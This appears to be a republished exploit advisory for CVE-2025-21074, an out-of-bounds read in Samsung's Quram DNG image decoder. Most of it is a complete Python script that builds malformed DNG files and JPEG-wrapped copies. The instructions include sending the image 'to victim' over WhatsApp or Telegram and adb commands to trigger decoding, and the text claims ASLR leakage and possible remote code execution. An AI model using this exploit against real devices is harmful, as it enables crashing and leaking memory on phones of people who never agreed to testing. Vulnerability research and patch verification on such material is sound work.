Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Samsung Quram DNG TrimBounds Out-Of-Bounds Read
Samsung Quram DNG TrimBounds Out-Of-Bounds Read
Samsung Quram DNG TrimBounds Out-Of-Bounds Read

=============================================================================================================================================
| # Title Samsung Quram DNG TrimBounds Out-Of-Bounds Read

=============================================================================================================================================
| # Title : Samsung QuramDng Out?Of?Bounds Read via Malformed DNG TrimBounds Opcode |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : System built?in component. No standalone download available. |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212446/ & CVE-2025-21074

[+] Summary : A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds
opcode triggers Out-of-Bounds (OOB) reads on heap-allocated image buffers.This issue allows remote attackers to craft a malicious DNG payload, embed it
inside a JPEG, and send it via messaging applications to trigger decoding,resulting in crash, ASLR information leakage, and possible RCE via heap
spraying and pointer manipulation.

Product: libimagecodec.quram.so (Samsung Android)
Class: Memory Corruption / OOB Read
Version: Vulnerable on firmware prior to September 2025
Tested: Android 13/14/15/16 (Samsung Galaxy devices)
-------------------------------------------------------------------------------
[+] Vulnerability Details
The Quram DNG decoder incorrectly handles opcodeList1 (TrimBounds opcode ID=7).
The trimmed image dimensions shrink source buffers but destination buffers
remain based on original resolution, resulting in read operations beyond memory
bounds.

The problem occurs after TrimBounds opcode reduces width/height of image tiles
but decoder still trusts old buffer lengths.

This leads to:
* Heap OOB Read
* Crashes (SIGSEGV)
* Heap leak primitives
* Possible exploitation for RCE
-------------------------------------------------------------------------------
[+] Attack Vector
The exploit can be triggered via:
* WhatsApp / Telegram file sharing (JPEG container)
* External apps invoking platform decoder
* ADB-triggered scan via Media Scanner
* Camera importing workflows

Remote attack surface ? user simply previews/saves image.
-------------------------------------------------------------------------------
[+] Proof of Concept (PoC)
The exploit constructs:
- Valid DNG file with truncated TrimBounds opcode
- Embeds DNG into a valid APP1 JPEG
- Crashes Quram decoder on parsing

PoC Tested:
- Samsung S22, S23, A52, Note20
- Android 13-16 firmwares
-------------------------------------------------------------------------------
[+] PoC Code
The full exploit builder (Python) is included below.

SAVE AS:
exploit_cve_2025_21074.py

RUN:
python3 exploit_cve_2025_21074.py

OUTPUT FILES PRODUCED:
exploit.dng
exploit_small.dng
exploit.jpg
-------------------------------------------------------------------------------
[+] Instructions To Save & Run PoC (REQUIRED)

1) Save script:
File name: exploit_cve_2025_21074.py

2) Run:
python3 exploit_cve_2025_21074.py

3) Generated payloads:
- exploit.dng
- exploit.jpg
- exploit_small.dng

4) Trigger attack:
A) Via ADB:
adb push exploit.dng /sdcard/
adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
-d file:///sdcard/exploit.dng

B) Via Messaging:
Send exploit.jpg to victim (no interaction required)

5) Detect crash:
adb logcat | grep -i quram
adb pull /data/tombstones/ tombstones_dir/
-------------------------------------------------------------------------------
[+] Expected Results
* Process crash: com.samsung.ipservice
* Heap read leakage (ASLR bypass)
* Controlled offsets possible ? RCE stage feasible
-------------------------------------------------------------------------------
[+] Exploit Status
This PoC is stable, deterministic and suitable for controlled lab exploitation.
It is not destructive.
-------------------------------------------------------------------------------
[+] Mitigation
Firmware update September 2025 and later properly validates TrimBounds and
rejects mismatched output dimensions.
-------------------------------------------------------------------------------
[+] POC :

#!/usr/bin/env python3
"""
Author: Indoushka
"""

import struct
import os
import sys

class DNGExploit:
def __init__(self):
self.endian = '<' # Little endian
self.opcode_id_trim = 7

def create_malicious_dng(self, width=4096, height=4096):
"""Creating a DNG image with TrimBounds opcode saturated"""

dng_data = bytearray()

dng_data += struct.pack('<H', 0x4949)
dng_data += struct.pack('<H', 42)
ifd0_offset = 8
dng_data += struct.pack('<I', ifd0_offset)
dng_data += b'\x00' * (ifd0_offset - len(dng_data))
num_entries = 15
dng_data += struct.pack('<H', num_entries)
dng_data += struct.pack('<H', 0x0100)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', width)
dng_data += struct.pack('<H', 0x0101)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', height)
dng_data += struct.pack('<H', 0x0102)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 3)
bits_offset = len(dng_data) + 4
dng_data += struct.pack('<I', bits_offset)
dng_data += struct.pack('<H', 0x0103)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<H', 0x0106)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 2)
dng_data += struct.pack('<H', 0x0111)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
strip_offset = 0x1000
dng_data += struct.pack('<I', strip_offset)
dng_data += struct.pack('<H', 0x0115)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<H', 0x0116)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', height)
dng_data += struct.pack('<H', 0x0117)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<I', width * height * 3)
dng_data += struct.pack('<H', 0x011C)
dng_data += struct.pack('<H', 3)
dng_data += struct.pack('<I', 1)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<H', 0xC612)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<I', 4)
dng_data += struct.pack('>I', 0x01000000)
dng_data += struct.pack('<H', 0xC613)
dng_data += struct.pack('<H', 1)
dng_data += struct.pack('<I', 4)
dng_data += struct.pack('>I', 0x01000000)
dng_data += struct.pack('<H', 0xC614)
dng_data += struct.pack('<H', 2)
dng_data += struct.pack('<I', 20)
model_offset = len(dng_data) + 4
dng_data += struct.pack('<I', model_offset)
dng_data += struct.pack('<H', 0xC740)
dng_data += struct.pack('<H', 1)
opcode_list_size = 100
dng_data += struct.pack('<I', opcode_list_size)
opcode_offset = len(dng_data) + 4
dng_data += struct.pack('<I', opcode_offset)
dng_data += struct.pack('<H', 0x014A)
dng_data += struct.pack('<H', 4)
dng_data += struct.pack('<I', 1)
subifd_offset = opcode_offset + opcode_list_size
dng_data += struct.pack('<I', subifd_offset)
dng_data += struct.pack('<I', 0)

bits_data_pos = bits_offset
while len(dng_data) < bits_data_pos:
dng_data += b'\x00'
dng_data += struct.pack('<HHH', 8, 8, 8)

model_data_pos = model_offset
while len(dng_data) < model_data_pos:
dng_data += b'\x00'
dng_data += b'EXPLOIT-CAMERA\x00'

opcode_data_pos = opcode_offset
while len(dng_data) < opcode_data_pos:
dng_data += b'\x00'

opcode_header = struct.pack('<HHII',
self.opcode_id_trim,
1,
0,
16)

trim_values = struct.pack('<IIII',
0,
0,
height // 2,
width // 2)

dng_data += opcode_header + trim_values


remaining = opcode_list_size - len(opcode_header) - len(trim_values)
dng_data += b'A' * remaining


subifd_pos = subifd_offset
while len(dng_data) < subifd_pos:
dng_data += b'\x00'


dng_data += struct.pack('<H', 5)

for i in range(5):
dng_data += struct.pack('<HHII', 0x0100 + i, 4, 1, 0)

dng_data += struct.pack('<I', 0)

image_data_pos = strip_offset
while len(dng_data) < image_data_pos:
dng_data += b'\x00'

image_size = width * height * 3
dng_data += b'\x42' * min(image_size, 0x1000)

return bytes(dng_data)

def embed_in_jpeg(self, dng_data, output_path):
"""Including DNG in JPEG for cross-application exploitation"""

jpeg = bytearray()
jpeg += b'\xFF\xD8\xFF\xE0'
jpeg += b'\x00\x10JFIF\x00\x01\x01\x00\x00\x01'

app1_size = len(dng_data) + 2 + 5 # +2 for size, +5 for identifier
jpeg += b'\xFF\xE1'
jpeg += struct.pack('>H', app1_size)
jpeg += b'DNG\x00'
jpeg += dng_data
jpeg += b'\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01'
jpeg += b'\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B'
jpeg += b'\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00'
jpeg += b'\x00' * 100
jpeg += b'\xFF\xD9'

with open(output_path, 'wb') as f:
f.write(jpeg)

print(f"[+] JPEG with embedded DNG saved to {output_path}")
return output_path

def create_exploit_files(self):
"""Creating various exploitation files"""

dng_raw = self.create_malicious_dng()
with open('exploit.dng', 'wb') as f:
f.write(dng_raw)
print("[+] Raw DNG exploit created: exploit.dng")

jpeg_path = self.embed_in_jpeg(dng_raw, 'exploit.jpg')

small_dng = self.create_malicious_dng(2048, 2048)
with open('exploit_small.dng', 'wb') as f:
f.write(small_dng)

self.print_usage()

return {
'dng': 'exploit.dng',
'jpg': jpeg_path,
'small': 'exploit_small.dng'
}

def print_usage(self):
"""Print Instructions for Use"""

print("\n" + "="*60)
print("CVE-2025-21074 Exploit Usage Instructions")
print("="*60)
print("\n[Attack methods]")
print("1. Send exploit via WhatsApp/Telegram, etc.")
print("2. Decoding triggered using ADB:")
print(" adb push exploit.dng /sdcard/")
print(" adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE")
print(" -d file:///sdcard/exploit.dng")
print("\n[Expected results]")
print("- com.samsung.ipservicecollapse (SIGSEGV)")
print("- Memory information leakage (ASLR bypass)")
print("- Possible RCE (further utilization required)")
print("\n[Detection]")
print("Check the logs: libimagecodec.quram.socollapse")
print("="*60)

def main():
print("[*] Generating CVE-2025-21074 exploit files...")

exploit = DNGExploit()
files = exploit.create_exploit_files()

print("\n[+] Files generated successfully:")
for name, path in files.items():
print(f" {name}: {path} ({os.path.getsize(path)} bytes)")

with open('exploit.dng', 'rb') as f:
data = f.read(100)
if data[:2] == b'II' and data[2:4] == struct.pack('<H', 42):
print("\n[?] DNG file structure verified")
else:
print("\n[!] DNG file may be malformed")

if __name__ == "__main__":
main()

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share